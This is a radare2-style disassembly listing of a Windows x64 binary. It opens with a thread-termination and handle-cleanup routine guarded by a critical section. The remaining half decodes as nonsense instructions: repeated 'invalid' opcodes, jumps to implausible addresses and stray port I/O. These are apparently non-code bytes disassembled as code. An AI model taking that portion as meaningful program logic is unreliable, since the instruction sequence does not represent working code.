call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x14001f160]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001e5b0]
jmp 0x14000623c
cmp qword [rbx + 0x18], rdi
je 0x140006243
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140006233
jmp 0x14000625d
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x14001e5b0]
call fcn.140010878
lea rcx, [0x14001f160]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0xffffffffee592111
invalid
pop rbp
xlatb
rol byte [rax], cl
add al, 0x1f
jb 0x14003b5f0
frstor dword [rdx + 0x22289ee8]
mov ecx, 0xd7c96df7
imul dword [rbp - 0x37]
xlatb
and ah, al
push rbx
stosd dword [rdi], eax
or dword [0x19c7fae75], eax
or al, byte [rax + riz - 0x59e26246]
invalid
loop 0x14003b696
or dword [rax + riz], 0xb8e5a0
mov esp, 0xc6fc37fb
push rbx
xor al, 0xb2
clc
test al, 0x4a
adc eax, 0xd160aeda
scasb al, byte [rdi]
invalid
shr ebx, 1
invalid
scasb al, byte [rdi]
invalid
pop rbp
imul dword [rdi + rbp]
sub al, 0x2f
push rsi
sbb dword [rsi], edi
outsd dx, dword [rsi]
call 0x119b0c038
xchg esp, eax
out dx, al
or cl, dh
add esp, dword [rdi - 0x6c39cd5e]
cmpsd dword [rsi], dword [rdi]
invalid
xor al, dh
xchg ebx, eax
xlatb
ja 0x14003b6e3
cmpsd dword [rsi], dword [rdi]
movabs byte [0x3ec73377d793c632], al
invalid
push rbp
int 0x10
invalid
invalid
wait
stosd dword [rdi], eax
sahf
cdq
jae 0x14003b6fc
jnp 0x14003b697
adc dword [rax + rbp*8], 0x50
call 0x102988d26
push rax
invalid
add edi, dword [rax]
xchg dword [rdx], ecx
cmp al, 0x29
shr dword [rdx], cl
mov ch, byte [rsi + 0x11]
or edx, edx
loopne 0x14003b6f2
invalid
invalid
test byte [rdx + 0x23], ch
div dword [rdi + rbx*2]
xor al, 0x5f
cmp eax, 0xa84f1646
invalid
test al, 0xc6
sbb byte [rbp + 0x1fb44c7], ch
cli
xchg esp, eax
in al, 5
xchg edi, eax
push rcx
nop
jp 0x14003b6d6
push rcx
loope 0x14003b6d1
invalid